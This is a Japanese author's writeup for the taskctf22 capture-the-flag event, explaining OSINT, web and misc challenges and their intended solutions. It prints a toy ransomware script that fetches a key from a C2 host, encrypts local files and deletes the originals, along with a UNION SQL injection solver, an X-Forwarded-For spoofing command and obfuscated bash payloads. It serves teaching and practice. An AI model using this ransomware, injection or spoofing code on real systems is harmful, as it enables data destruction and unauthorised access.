taskctf22 作問者writeup

## はじめに

今年も、2022/12/03に初心者から中級者向けにtaskctfを開催しました。
ご参加いただいた皆さん、ありがとうございました！!

https://ctf.task4233.dev/scoreboard

https://twitter.com/task4233/status/1599056416479711232

taskctf22用の記事は2つあり、本記事は作問者writeupのための記事です。

[運営としての振り返りはこちらをご覧ください](https://qiita.com/task4233/items/74c6a8a3347f79fb6ba9)。

本writeupでは作問意図、問題文、想定解法、コメントの順番で各問題を紹介します。不明瞭な点がある場合は、コメントしていただければ回答します。

Tutorialはやるだけで自明な問題ばかりなので、writeupを省略します。他の方のwriteupも既に公開されているため、各自で調べてください🙇‍♂️

また、問題用リポジトリはGitHubで公開されています。
https://github.com/task4233/taskctf22-public

## osint

### welcome(130Solves/97.7%)

**作問意図**

- writeupを書いて欲しかった
- 各参加者にググって欲しかった

**問題文**

> 2019年のtaskctfのwelcome問題のFlagは何でしたっけ？
Hint:
> 
> 
> taskctfのwriteupを探してみましょう！
> 
> もし良ければ、皆さんも書いていただけると嬉しいです :)
> 

**想定解法**

`taskctf 2019` でググると幾つかwriteupがあるので、記事の中のflagを提出する問題でした。

`taskctf{let's_enj0y!}` 

**コメント**

ちなみに、[taskctf19](https://github.com/task4233/taskctf19/blob/master/welcome/welcome.c)というGitHubリポジトリにもwelcomeという問題があり、そのFlagを提出するとIncorrectです。この誤誘導防止のためにHintに「writeupを探してみましょう！」と書いたのですが、提出されたFlagを見ると勘違いして提出した方もいたようです。

### ramen(106Solves/79.7%)

**作問意図**

- Google Lensの存在を知って欲しかった
- ここのお店のラーメンが美味しかったので布教したかった

**問題文**

> このラーメン屋の名前は何でしょう？
> 
> 
> 正式名称ではなく、漢字のみで `taskctf{ラーメン屋の名前}`の形式で回答してください。
> ラーメン屋の名前がラーメン二郎であれば、 `taskctf{二郎}` がFlagになります。
> 
> Hint(-50pts):
> 
> Google Lensを使うと、トッピングの容器などが似ている画像が見つかりませんか？
> 

![ramen.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/238364/5e4fc85b-6001-8b4b-1bc9-bfe64085d34d.jpeg)


**想定解法**

Google Lensに添付画像をアップロードすると似た画像が見つかるので、そのお店の名前を回答する問題でした。

実際に調べると、以下のように机の材質や容器の似た画像が見つかるため、こちらのお店の漢字部分を回答すれば良いです。

![https://user-images.githubusercontent.com/29667656/205479990-9e37d5be-8938-433d-9ca2-1d2233770eb1.jpeg](https://user-images.githubusercontent.com/29667656/205479990-9e37d5be-8938-433d-9ca2-1d2233770eb1.jpeg)

`taskctf{蝋燭屋}`

**コメント**

こちらの「麻婆麺」は痺れる辛さなのですが、蒙古タンメンのように味覚が変になるような辛さではないので、ライトユーザにおすすめです。食べてくると飽きてくるので、ぶどう山椒オイルを数滴足してあげると味変になってとても良いです。

東京の銀座本店以外にも、大宮や大阪にも店舗があるようなので、ぜひ行ってみてはいかがでしょうか？

[https://twitter.com/rousokuya105](https://twitter.com/rousokuya105)

**kofun(61Solves/45.9%)**

**作問意図**

- Google Lensのみでは解けないような、少し発展的なosint問題を解いて欲しかった

**問題文**

> 作問者が訪れてSNSにもアップロードしたはずの古墳の名前を思い出せなくなってしまいました...
もしご存知なら教えてくれませんか？
> 
> 
> Flagの形式は`taskctf{この古墳の名前の漢字表記}` です。
> 例えば、 造山古墳 が答えならば `taskctf{造山古墳}` がフラグになります。
> 
> Hint(-50pts):
> 
> - [https://twitter.com/task4233/media](https://twitter.com/task4233/media) に同じような画像はありませんでしたか？
> - 関連している画像から、古墳群の名前を特定できませんか？
> - 古墳群から少し外れている可能性もあるので、頑張ってググりましょう！

![kofun.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/238364/120f20f4-b8ab-9a72-6744-0511b94ff0ba.jpeg)


**想定解法**

ツイート2枚目の画像で場所を絞り、配布画像と一致する古墳を探す問題でした。

まず、配布ファイルを見ると柵が特徴的な古墳が見つかりますが、日本国内の古墳の数が多すぎてGoogle Lensに任せるだけでは特定するのが難しいです。そこで、他に情報を絞り込める要素がないか考えてみます。

すると、問題文に「SNSにもアップロードした」と書かれているので、Twitterにて `from:task4233 古墳` で調べると以下のツイートがヒットします。

https://twitter.com/task4233/status/1558826656151654400

こちらのツイートの2枚目の画像をGoogle Lensにかけると、「龍角寺古墳群」の近辺で撮られた画像であると推測できます。ただし、龍角寺古墳群に属する古墳群を提出してもIncorrectであることが分かります。

そのため、もう少し視野を広げてGoogle Mapsと格闘すると、配布ファイルとよく似た古墳が見つかります。

![search.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/238364/da1e20be-79fe-d88e-5ce3-d5b74e2dcaee.png)


`taskctf{上福田岩屋古墳}`

**コメント**

osint好きの[shioさん](https://twitter.com/shio_sa1t)にSNSのヒントなしで3分で解かれたので、mediumにしました。

![Screen Shot 2022-12-04 at 17.14.51.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/238364/2daa2909-0414-2dea-c812-7f28c525560f.png)


また、国内にある古墳はコンビニ数の3倍のようです。知見ですね。

https://twitter.com/ozou2curry/status/1599021150708776960

### douro(34Solves/25.6%)

**作問意図**

- 特になし
- 強いて言うなら、海外問題があると良いなと思ったので

**問題文**

> この写真が撮られた場所の緯度と経度を教えてください！
> 
> 
> フラグの形式は `taskctf{緯度_経度}` です。ただし、緯度経度は十進法で小数点以下四桁目を切り捨てたものとします。
> 例えば、 皇居の入口が答えなら `taskctf{35.682_139.762}`が答えになります。
> ref: [https://goo.gl/maps/q9iJRNaaFMnDYdbGA](https://goo.gl/maps/q9iJRNaaFMnDYdbGA)
> 
> ※緯度経度の表示方法は調べれば分かるので調べてください。
> 
> 12/3 12:34 追記: 求める小数点の精度を更新しました。
> 12/3 15:05 追記: フラグの例を追記しました。
> 12/3 19:29 追記: フラグの例の形式が誤っていたため修正しました。
> 12/3 21:22 追記: フラグの緯度経度の例を正しい値に修正し、GoogleMapsのリンクを追加しました。
> 12/3 22:22 追記: 緯度経度の表示方法に関する記述を追加しました。
> 

![douro.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/238364/dce15161-19f2-83cc-4c59-aeb788c4284f.jpeg)

**想定解法**

画像に含まれる文字情報から得られる情報と画像を付き合わせて場所を特定する問題です。

まず、適当にGoogle Lensに入れても場所が特定できないことが分かります。そのため、他の情報がないか考えます。

すると、画像左下の看板から、 `WITHERS` と `MATHEIS` という単語が抜き取れます。これらの単語でググると、以下のFacebookのアカウントが見つかります。

https://www.facebook.com/jwithersIRWD/photos

ここからカリフォルニアのIrvineで撮られた画像であることが分かります。

これだけだとまだ絞り込むのが難しそうなので、更なる情報を調べるとライトアップされた `CULVER P` もしくは `CULVER F` という文字が見て取れます。Google Mapsで `Irvine Culver P` および `Irvine Culver F` で調べると、 `Culver Plaza` という場所が見つかります。

このCulver Plazaの周辺をGoogle Mapsで散歩すると対象の場所が見つかります。

https://www.google.com/maps/@33.6933746,-117.798396,3a,75y,323.76h,92.77t/data=!3m6!1e1!3m4!1sVXqWfHb6EyyDw3ggfn0q4Q!2e0!7i16384!8i8192
`taskctf{33.693_-117.798}`


**コメント**

元々Flagの精度が小数点以下5桁目を切り捨てする予定でした。しかし、提出されたFlagを見ていると惜しい答えが多かったため、精度を1つ落としました。結果として形式による提出関連のトラブルがそこまで起きなかったので、良かったです。

## web

### robots(50Solves/37.6%)

**作問意図**

- webもwarmup問題があると良いかなと思ったので

**問題文**

> Flagが漏洩してるって聞いたけど、本当ですか？？？
> 
> 
> 
> Hint(-50pts)
> 
> - "robots ctf"で調べてみましょう
> - どうにかして、プログラムを勘違いさせることはできないでしょうか？

**想定解法**

robots.txtと `X-Forwarded-For` ヘッダの付与で解ける問題です。

robotsと言われれば `robots.txt` ですね。 `/robots.txt` にアクセスすると、次のレスポンスが返ってきます。

> User-Agent: * 
Disallow: /admin/flag
> 

`/admin/flag` にアクセスすると、次のレスポンスが帰ってきます。

```
HTTP/1.1 200 OK
Server: nginx/1.23.2
Date: Sun, 04 Dec 2022 10:51:41 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1073
Connection: close

(略)
<body>
    <div class="container">
        <h1>401 Unauthorized</h1>
        <p>xxx.xxx.xxx.xxx is not internal IP address :(</p>
    </div>
</body>
```

401 Unauthorizedと書かれていますが200 OKなのは置いておいて、internal IP addressではないと言われます。

送信元IPアドレスを改竄すれば良さそうなので、 `X-Forwarded-For` ヘッダを利用します。

ref: [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-For)

internal IP addressとして考えられるアドレスを片っ端から設定していくと、 `127.0.0.1` を設定した時にFlagを取得できます。

```bash
$ curl -H 'X-Forwarded-For: 127.0.0.1' http://34.82.208.2:31481/admin/flag 2>& /dev/null| grep taskctf
        <p>taskctf{th15_c0ntr0l_y0u_th1nk_y0u_h4ve_1s_4n_1llu5i0n}</p>
```

**コメント**

robotsの画像に含まれた `116 120 116` はasciiコードで `txt` の意味です。 `robots.txt` ですね。

そして、この `This control you think you have is an illusion` はMr.Robotで登場した発言ですね。Eliotが狂ったように `I'm in control` とノートに書き殴った後、悟ったかのように `This control is an illusion` と書くんですよね、ハイ。

Hackするシーンが割ときちんと出来ているので、海外ドラマ好きな人で変わった作品を観る精神力の強い方にはオススメです。

https://www.imdb.com/title/tt4158110/

それと、アンケートで以下のような回答があり嬉しかったです:)

> あと，ロボットのイラストがとても可愛かったです．画伯です，グッズ化お待ちしています．
> 

(このカンマとピリオドの使い方や言い回しから、誰が書いたか検討がついていますw)

### first(29Solves/21.8%)

**作問意図**

- SQL Injection
- ソートできるUUIDという概念が面白いなと思ったので

**問題文**

> 運営している小さな掲示板が100ユーザを達成しました 🎉
> 
> 
> そこで、メンテ明けの12/6に**100番目ちょうどの登録をしたユーザをトップページで掲載したい**ので、ユーザ名を `taskctf{ユーザ名}` で教えてください！
> 
> Hint(-50pts)
> 
> ・ユーザ情報を取得するためには、どのようなSQLを実行すれば良いでしょうか？ 
> ・各ユーザ情報を時系列で並べることはできないでしょうか？
> 

**想定解法**

UNION SQL Injection問題です。

まず、問題文から100番目に登録したユーザを探すために、DBからユーザデータを抜き出す必要がありそうです。SQL Injectionっぽいなという見立てをします。

SQL Injectionについてご存知ない方は、PortSwiggerのブログ記事がおすすめです。Labもあるので、手を動かしながら学ぶことができます。

[https://portswigger.net/web-security/sql-injection](https://portswigger.net/web-security/sql-injection)

その上で、配布ファイルがあるのでソースコードを見ると、以下の記述があります。

```python
cur.execute(f"SELECT posts.id, users.name, posts.body FROM posts INNER JOIN users ON posts.user_name = users.name AND posts.body LIKE \'%{q}%\'")
```

はい、出来そうですね。綺麗に書き出してみます。

```sql
SELECT posts.id, users.name, posts.body FROM posts
	INNER JOIN users
		ON posts.user_name = users.name AND posts.body LIKE '%ここにInjectできる%';
```

`users` テーブルの構造は、以下のコメントアウトされている部分のハンドラから、文字列のカラム2つで構成されていると推測できます。

```python
# NOTE: This handler is not unavailable
# @app.route("/register", methods=["POST"])
# def register_post():
#     data = request.json
#     c = sqlite3.connect(db_name)
#     c.execute(f"INSERT INTO users (name, id) VALUES ({data['name']}, {str(uuid7())})")
#     c.commit()
#     c.close()
```

そのため、 `' UNION SELECT 1, name, id FROM users; --` を入れることで `users` テーブルの内容を引っこ抜くことができます。

また、IDとして利用されているUUID v7は、先頭48ビットがUnix timestampなのでソート可能です。したがって、抜き出したユーザ情報を `id` でソートして、先頭から100番目のユーザを抜き出せば良いです。

ref: [https://kakakakakku.hatenablog.com/entry/2022/10/31/082041](https://kakakakakku.hatenablog.com/entry/2022/10/31/082041)

ソルバは以下の通りです。

```python
import requests
from bs4 import BeautifulSoup
import re

TARGET_URL = "http://localhost:31555"
TARGET_URL = "http://34.82.208.2:31555"

def main():
    params = {
        'q': '\' UNION SELECT 1, name, id FROM users -- '
    }
    res = requests.get(TARGET_URL, params=params)
    assert res.status_code == 200

    # extract uuid list with regexp
    # 01844b23-9713-744b-8e1f-f1fddf844193
    uuid_list = re.findall("\">(.+-.+-.+-.+-.+)</", res.text)
    uuid_list.sort()

    # check if all data are gathered
    assert len(uuid_list) == 128

    # get target information
    # NOTE: 0-indexed
    target_uuid = uuid_list[99]
    # print(target_uuid)

    soup = BeautifulSoup(res.text, "html.parser")
    elem = soup.find(text=target_uuid)
    # <div class = "card" >                             # 4. elem.parent.parent.parent
    #     <h5 class = "card-header" >                   # 5. elem.parent.parent.parent.contents[1]
    #       Satomi_Kato                                       # 6. elem.parent.parent.parent.contents[1].text
    #     < /h5 >
    #     <div class = "card-body" >                    # 3. elem.parent.parent
    #         <p class = "card-text" >                  # 2. elem.parent
    #             018455f4-aa1e-771e-8eae-f342965a4ed1  # 1. elem
    #         < /p >
    #     </div >
    # </div >
    flag = f"taskctf{{{elem.parent.parent.parent.contents[1].text}}}"
		print(flag)

if __name__ == "__main__":
    main()
```

**コメント**

UUID v7、きたら面白そうですし、 `CreatedAt` カラムも不要になるんですかね。面白そうです。

参加者のwriteupを見ていると、雰囲気で `id` 順でソートして100番目をpickしている方もいたようで、微妙な問題だった気もしています。

## misc

### ransomeware(50 Solves/37.6%)

**作問意図**

- xorのkeyは全探索で良いよねという話

**問題文**

> 友人が誕生日祝いで送ってきたスクリプトを実行したら、お手製ランサムで手元のFlagを暗号化されてしまいました。どうにかして復元できないでしょうか？

Hint(-50pts)
・実行されるPythonスクリプトを復元してみましょう
> 

**想定解法**

シェルスクリプトのデコード + key総当たりによる復号で解ける問題です。

配布されたシェルスクリプトは次の通りです。

```bash
#!/bin/sh
echo "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCBnbG9iCmltcG9ydCBvcwoKQzIgPSAiaHR0cHM6Ly9jMi50YXNrNDIzMy5kZXYvYkQ3YkI3cGM1N2QyIgoKZGVmIG1haW4oKToKICAgICMgZ2V0IGEga2V5IGZyb20gYSBjMiBzZXJ2ZXIKICAgIGtleSA9IGludChyZXF1ZXN0cy5nZXQoQzIpLnRleHQpCgogICAgZmlsZXMgPSBnbG9iLmdsb2IoJy4vKicpCiAgICAjIGFkZGVkIGZvciBDVEY6KQogICAgYXNzZXJ0ICIuL3Rhc2tjdGZfZmxhZy50eHQiIGluIGZpbGVzCgogICAgIyBlbmNyeXB0IGFsbCBmaWxlcwogICAgZm9yIGZpbGUgaW4gZmlsZXM6CiAgICAgICAgIyBpZ25vcmUgdGhpcyBzY3JpcHQgYW5kIGRpcmVjdG9yaWVzCiAgICAgICAgaWYgb3MucGF0aC5iYXNlbmFtZShmaWxlKSA9PSBvcy5wYXRoLmJhc2VuYW1lKF9fZmlsZV9fKToKICAgICAgICAgICAgY29udGludWUKICAgICAgICBpZiBub3Qgb3MucGF0aC5pc2ZpbGUoZmlsZSk6CiAgICAgICAgICAgIGNvbnRpbnVlCgogICAgICAgICMgZW5jcnlwdCBhIHRhcmdldCBmaWxlCiAgICAgICAgZGF0YSA9IE5vbmUKICAgICAgICB3aXRoIG9wZW4oZmlsZSwgJ3InKSBhcyBmOgogICAgICAgICAgICBkYXRhID0gZi5yZWFkKCkgICAgICAgIAogICAgICAgIGVuY3J5cHRlZCA9ICIiCiAgICAgICAgZm9yIGNoIGluIGRhdGE6CiAgICAgICAgICAgIGVuY3J5cHRlZCArPSBjaHIob3JkKGNoKSBeIGtleSkKICAgICAgICB3aXRoIG9wZW4oZiJ7ZmlsZX0uZW5jcnlwdGVkIiwgJ3cnKSBhcyBmOgogICAgICAgICAgICBmLndyaXRlKGVuY3J5cHRlZCkKICAgICAgICAKICAgICAgICAjIGRlbGV0ZSB0aGUgcmF3IGZpbGUKICAgICAgICBvcy5yZW1vdmUoZmlsZSkKICAgIAogICAgcHJpbnQoJ1wwMzNbMzFtISEhIFlPVVIgRkxBRyBIQVMgQkVFTiBFTkNSWVBURUQgISEhXDAzM1swbScpCiAgICBwcmludCgnXDAzM1szMW1Zb3UgaGF2ZSB0d28gY2hvaWNlcy4gVHJlYXQgbWUgd2hlbiBJIHNlZSB5b3UgbmV4dCB0aW1lLCBvciBkZWNyeXB0IGl0IHlvdXJzZWxmIGlmIHlvdSBjYW4gbG9sLlwwMzNbMG0nKQoKaWYgX19uYW1lX18gPT0gIl9fbWFpbl9fIjoKICAgIG1haW4oKQo=" | base64 -d | python3
```

末尾に `base64 -d | python3` と書かれているため、前の文字列をbase64 decodeすると次のPythonスクリプトが得られます。

```bash
#!/usr/bin/env python3

import requests
import glob
import os

C2 = "https://c2.task4233.dev/bD7bB7pc57d2"

def main():
    # get a key from a c2 server
    key = int(requests.get(C2).text)

    files = glob.glob('./*')
    # added for CTF:)
    assert "./taskctf_flag.txt" in files

    # encrypt all files
    for file in files:
        # ignore this script and directories
        if os.path.basename(file) == os.path.basename(__file__):
            continue
        if not os.path.isfile(file):
            continue

        # encrypt a target file
        data = None
        with open(file, 'r') as f:
            data = f.read()        
        encrypted = ""
        for ch in data:
            encrypted += chr(ord(ch) ^ key)
        with open(f"{file}.encrypted", 'w') as f:
            f.write(encrypted)
        
        # delete the raw file
        os.remove(file)
    
    print('\033[31m!!! YOUR FLAG HAS BEEN ENCRYPTED !!!\033[0m')
    print('\033[31mYou have two choices. Treat me when I see you next time, or decrypt it yourself if you can lol.\033[0m')

if __name__ == "__main__":
    main()
```

以下の部分でXORを取っていることが分かります。XORは2回同じ値で演算すると元の値に戻る性質があります。

```bash
for ch in data:
    encrypted += chr(ord(ch) ^ key)
```

keyの値を取ってくる先のC2(Command and Control)サーバは既に死んでいるので、どうにかしてkeyの値を当てたいです。

仮にkeyの値が正しければ、復号されたデータは `taskctf` を含むはずです。また、ドキュメントにはPythonのbuiltin-functionである `chr` について

> The valid range for the argument is from 0 through 1,114,111 (0x10FFFF in
base 16).  `[ValueError](https://docs.python.org/3/library/exceptions.html#ValueError)` will be raised if *i* is outside that range.
> 

と書かれているため、keyを `0x0` から `0x11000` までの値で全探索するような以下のスクリプトを実行します。

```bash
with open('../files/flag.txt.encrypted', 'r') as f:
    encrypted = f.read()

# ref: https://docs.python.org/3/library/functions.html#chr:~:text=The%20valid%20range%20for%20the%20argument%20is%20from%200%20through%201%2C114%2C111%20(0x10FFFF%20in%20base%2016).%20ValueError%20will%20be%20raised%20if%20i%20is%20outside%20that%20range.
true_key = 0
for key in range(0x110000):
    if chr(ord(encrypted[0]) ^ key) == 't':
        true_key = key
        break

flag = ""
for ch in encrypted:
    flag += chr(ord(ch) ^ true_key)

print(flag)
```

**コメント**

ワクワクする系の問題を作ろうと思った時に、ランサムもどきを友達から贈られたというシチュエーションが良いなと思ったので作問しました。

[n01e0さんのwriteup](https://feneshi.co/taskctf22_writeup/)で

> 他人の交友関係に口を出すのは良くないですが、縁切った方が良いと思います。
> 

と書かれていて、クスッときました。正論すぎる。

### anti_detection(21Solves/15.8%)

**作問意図**

- Fuzzy Hashが手軽にも関わらず結構楽に動くので
- 普段やってる研究の分野に近かったので

**問題文**

> Flagを取得するための実行ファイルとアップローダを用意しました。 ただし、この実行ファイルをそのままアップロードすると、防御システムに類似ファイルと検知されて実行されない仕組みになっています。
> 
> 
> そこで、検知システムをすり抜ける実行ファイルを作ってFlagを取得してください！
> 
> Hint(-50pts)
> 
> ・この検知システムではFuzzyHashと呼ばれるハッシュ値の類似度を利用しています 
> ・GhidraやIDAで処理の流れを追ってみましょう 
> ・同等の処理を行うファイルをお好みの言語で実装してコンパイルし、実行ファイルを作成してみましょう
> 

**想定解法**

配布ファイルを解析し、類似ファイルを作ることを想定していた問題です。

配布されたファイルをGhidraに投げて、逆コンパイルされたCのプログラムを見ると、 `flag.txt` というファイルを読み出して、 `flag: {flagの中身}` で提出していることが分かります。

```bash
undefined8 main(void)

{
  FILE *__stream;
  undefined8 uVar1;
  long in_FS_OFFSET;
  undefined local_38 [40];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  __stream = fopen("flag.txt","r");
  if (__stream == (FILE *)0x0) {
    uVar1 = 0xffffffff;
  }
  else {
    __isoc99_fscanf(__stream,&DAT_0010200f,local_38);
    printf("flag: %s",local_38);
    fclose(__stream);
    uVar1 = 0;
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar1;
}
```

そのため、適当に似たコードをCで書いてコンパイルしてみます。

```c
#include <stdio.h>

char flag[0x1000];

int main(void) {
  FILE *fp = fopen("f*.txt", "r");
  if (fp == NULL) return -1;

  fscanf(fp, "%s", flag);
  printf("flag: %s", flag);
  fclose(fp);
  return 0;
}
```

コンパイルして提出すると通ります。

`taskctf{p0werfu1_fuzzy_h4sh}`

**コメント**

他の人の解法を見ていると、Flagを読み出すシェルスクリプトを書いていて、賢いなと思いました。正直、非想定解だったので、別のvalidationも含めた方が良かったなと思っています。

アンケートでも以下のようなコメントをいただきました。そうですね、賢い。

> anti_detectionは#!/bin/shで通しました 
(packer書いたりするのが想定だと思うので、ヘッダチェックあたりを入れれば防げたと思います)
> 

### shellgei(16Solves/12.0%)

**想定解法**

- 難読化シェル芸の存在を知って欲しかったので

**問題文**

> 記号のみのBashスクリプトでFlagを表示してください！

Hint(-50pts)
参考文献はこちらです。
> 
> - [記号と英字2文字だけでbash](https://www.ryotosaito.com/blog/?p=178)
> - [記号だけでシェルは操れた](https://www.ryotosaito.com/blog/?p=194)

**想定解法**

公開されている記事を参考に記号だけのBashスクリプトを組み立てる問題です。

mediumレベルなので、先駆者がいるはずと思い調べると、以下の記事にたどり着きます。

- [記号と英字2文字だけでbash](https://www.ryotosaito.com/blog/?p=178)
- [記号だけでシェルは操れた](https://www.ryotosaito.com/blog/?p=194)

`_` から成る変数に数字や文字列を格納していき、 `_[index]` で任意の文字列を表示することで、任意のコマンドを実行します。

公開されているスクリプトを一部改変し、以下のペイロードを組み立てることが出来ます。

```bash
__=$(($$/$$));___=$(($__+$__));____=$(.&>/???/??/$__);____=${____##*.};_____=$(${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__} -${____:$__$(($__+$___)):$__}&>/???/??/$__);_____=${_____##*${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__}};_____=${_____,,};______=($(${____:$(($___*$___)):$__}${_____:$__$(($___*$___)):$__}${____:$(($___*$___+$___)):$__}${____:$(($___+$__)):$__} ${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} $(${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} -${____:$(($___*$___)):$__} "{\\${____:$__$(($___*$___)):$__}$(($___*$___+$___))$__..\\${____:$__$(($___*$___)):$__}$(($___*$___*$___-$__))${____:$__$__:$__}}")));_______=$((___*___*___*___+___+__));${______[$___]}${______}${______[$_______]} ./????.???
```

これでFlagが取得できます。

`taskctf{I_g0tt3_6e_re4l_w1th_y0u}`

**コメント**

[Satoooon](https://twitter.com/Satoooon1024)さんが任意のコードを表示できるスクリプトを書いていました。

[https://gist.github.com/satoooon8888/145982c78c1f1b5e7cefe8dd97a435af](https://gist.github.com/satoooon8888/145982c78c1f1b5e7cefe8dd97a435af)

良さそうです。

## おわりに
各問題、割と解かれていて驚きました。

ご参加いただいた方々はありがとうございました！おかげさまで今年も忘れられない誕生日CTFになりました。

最後に、他の方々のwriteupを見ていると色々な解き方が出来るので、ぜひ見てみてください。参考までに私が見つけたwirteupをのせておきます。writeup執筆ありがとうございました！

- https://qiita.com/nyaarch64/items/1858b7b8eee164574921
- https://material-paneer-4f8.notion.site/taskctf22-Writeup-b66e944e918a42ce9d86cce35199d95d
- https://qiita.com/kusano_k/items/2cbe170060ea9363ab34
- https://qiita.com/trimscash/items/7ceb46e2e1d58126d6df
- https://melonattacker.github.io/posts/29/
- https://qiita.com/Trigger-FK/items/ac75cbc560cacf04146f
- https://shinobe179.hatenablog.com/entry/2022/12/04/011114
- https://zenn.dev/k4r45u/articles/3223b9a1ff505c
- https://feneshi.co/taskctf22_writeup/
- https://pomochii.notion.site/2022-taskctf-writeup-39668d747599473f86a03c03ee168876
- https://r0mure.hatenablog.com/entry/2022/12/04/015151
- https://github.com/msymt/ctf-writeup/tree/main/taskctf2022
- https://zenn.dev/t0m3y/articles/a596d9bcce57a2
- https://qiita.com/xxpoxx/items/68bbb0aa4cf2a5ac92c4
- https://blog.hamayanhamayan.com/entry/2022/12/04/012636
- https://zenn.dev/motsuna/articles/001578bd7fff4a
- https://qiita.com/yuykk02/items/82bff2ed4a1cf30639f1
- https://shiomiyan.github.io/blog/posts/taskctf2022/
- https://sirabete-manabu.hatenablog.com/entry/2022/12/04/174237